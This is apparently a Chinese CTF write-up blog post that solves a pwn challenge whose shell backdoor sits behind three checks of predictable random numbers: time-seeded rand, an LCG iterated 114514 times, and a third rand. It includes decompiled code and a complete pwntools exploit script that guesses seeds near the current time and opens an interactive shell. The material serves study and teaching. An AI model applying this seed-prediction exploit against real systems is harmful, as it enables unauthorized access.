1242 words
6 minutes
2026第一周wp
2026-09-11

写在前面#

等一下就要回家了,所以今天大概率就更一篇吧,还有这个食蜂好好看

兰斯先生的秘密#

Terminal window
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

有canary+PIE,要泄露这俩

看main函数逻辑

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v5; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
puts("Do you want to know srand's secret?");
puts("You have to enter 3 gates which tests your abilities!");
puts("But the key is *predict*. I guess no one can solve them. Hiahia!");
v3 = gate1();
v5 = gate2(v3);
gate3(v5);
puts("All gates passed!");
b4ckdo0r();
return 0;
}

很直白啊,过了三关就给后门

第一关

__int64 gate1()
{
int v1; // [rsp+Ch] [rbp-14h] BYREF
unsigned int seed; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("==============================");
puts("Gate 1: Predict TIME");
puts("==============================");
seed = time(0);
srand(seed);
v3 = rand();
printf("Password:");
__isoc99_scanf("%u", &v1);
if ( v3 != v1 )
{
puts("You can't predict the time easily!");
exit(0);
}
puts("You've beaten the time and become a stronger self!");
return seed;
}

时间管理大师,造一个伪随机应该可以结束战斗

__int64 __fastcall gate2(unsigned int a1)
{
int v2; // [rsp+1Ch] [rbp-14h] BYREF
unsigned int v3; // [rsp+20h] [rbp-10h]
int i; // [rsp+24h] [rbp-Ch]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("==============================");
puts("Gate 2: Predict calculation");
puts("==============================");
v3 = a1;
for ( i = 0; i <= 114513; ++i )
v3 = lcg(v3);
printf("Password:");
__isoc99_scanf("%u", &v2);
if ( v3 != v2 )
{
puts("Well, it seems you don't know... Maybe you can learn about LCG?");
exit(0);
}
puts("Good job! That's one of the ways how random number works.");
return v3;
}

第一轮的seed传递到第二轮,进行114514次lcg

然后输入比较,最后把处理后的值传递出来

第三轮则是

__int64 __fastcall gate3(unsigned int a1)
{
int v2; // [rsp+18h] [rbp-18h] BYREF
int v3; // [rsp+1Ch] [rbp-14h]
int v4; // [rsp+20h] [rbp-10h]
unsigned int v5; // [rsp+24h] [rbp-Ch]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
puts("==============================");
puts("Gate 3: Predict unknown");
puts("==============================");
srand(a1);
v3 = rand();
v4 = rand();
v5 = rand();
printf("First random number:%u\n", v3);
printf("Second random number:%u\n", v4);
printf("Your answer:");
__isoc99_scanf("%u", &v2);
if ( v5 != v2 )
{
puts("Haha...It's random, how can you predict it?");
exit(0);
}
puts("Wow, random number is in fact not random,right?");
return v5;
}

已处理后的值作为基准及逆行三次随机,然后比较产生的最后一个随机数成功就能结束战斗了

int b4ckdo0r()
{
puts("Genius!");
puts("You defeated all random gates! Here is your bonus:");
return system("/bin/sh");
}

很朴实的后门

扣了半小时手机我决定继续战斗

程序启动时的 time(0) 通常与攻击者当前时间非常接近(网络延迟一般 0~3 秒)。因此可以枚举当前时间前后几秒作为候选种子:

current = int(time.time())
for delta in range(-5, 6): # 尝试 ±5 秒
seed = current + delta
# 用这个种子生成随机数

那怎么自己造一个随机数呢

  1. ctypes 调用 libc 的 srand/rand

libc直接用我自己的得了

然后是lcg的问题

def lcg(a1):
return (1103515245 * a1 + 12345) & 0x7FFFFFFF

标准的我直接照抄就好了

ok,现在陈述一下大致的攻击思路

第一阶段直接用time(0)直接生成的rand作为校验,第二轮把第一轮生成的数字进行114514次lcg,第三轮再生成三个随机数,取第三个校验即可

抖动机制讲解

程序用 seed = time(0); srand(seed); 生成随机数。 time(0) 返回的是秒级时间戳。你在本地脚本中获取的 current = int(time.time()) 和远程程序实际执行 time(0) 的时刻,可能不在同一秒内,原因包括:

  • 网络延迟:你发送连接、数据到达服务器、服务器启动程序都需要时间。
  • 服务器处理时间:程序初始化、等待输入等消耗时间。
  • 时钟偏差:本地与服务器系统时钟可能有微小差异。
  • 时区无关:time(0) 返回 UTC 时间戳,但本地时钟若不准也会影响。

因此,远程程序实际使用的种子可能是 current - 2、current - 1、current、current + 1、current + 2 中的某一个。枚举 range(-2, 3) 就是覆盖这 5 个可能的种子。

for delta in range(-2, 3):
seed = current + delta # 猜测种子
ans1 = predict_gate1(seed) # 用该种子预测 Gate1 需要的随机数
p.recvuntil(b'Password:') # 等待提示
p.sendline(str(ans1).encode()) # 发送预测值
resp = p.recvline() # 读取响应
if b'beaten' in resp or b'stronger' in resp:
seed1 = seed # 通过,记录正确的种子
break
p.close() # 失败,关闭连接
p = start(host, port) # 重新连接(因为程序失败会退出)

exp(0x7FFFFFFFF防坠机)

from pwn import *
import ctypes
import time
try:
libc = ctypes.CDLL('./libc.so.6')
except OSError:
libc = ctypes.CDLL(None)
def lcg(a1):
return (1103515245 * a1 + 12345) & 0x7FFFFFFF
def predict_gate1(seed):
libc.srand(seed)
return libc.rand() & 0x7fffffff
def predict_gate2(seed):
v = seed
for _ in range(114514):
v = lcg(v)
return v
def predict_gate3(seed):
libc.srand(seed)
libc.rand()
libc.rand()
return libc.rand() & 0x7fffffff
def start(host, port):
return remote(host, port) if args.REMOTE else process('./pwn')
def solve(host, port):
p = start(host, port)
current = int(time.time())
seed1 = None
for delta in range(-2, 3):
seed = current + delta
ans1 = predict_gate1(seed)
p.recvuntil(b'Password:')
p.sendline(str(ans1).encode())
resp = p.recvline()
if b'beaten' in resp or b'stronger' in resp:
seed1 = seed
break
p.close()
p = start(host, port)
if seed1 is None:
return
ans2 = predict_gate2(seed1)
p.recvuntil(b'Password:')
p.sendline(str(ans2).encode())
p.recvline()
ans3 = predict_gate3(ans2)
p.recvuntil(b'Your answer:')
p.sendline(str(ans3).encode())
p.recvline()
p.interactive()
if __name__ == '__main__':
solve('127.0.0.1', 57639)

搞了一中午机械臂,下午信号与系统一点都听不进去,幸好提前听了第一节课

PS:信号与系统上写WP真苏轼啊

2026第一周wp
https://dxfaker.top/posts/26moe4/
Author
dxfaker
Published at
2026-09-11
License
CC BY-NC-SA 4.0

Some information may be outdated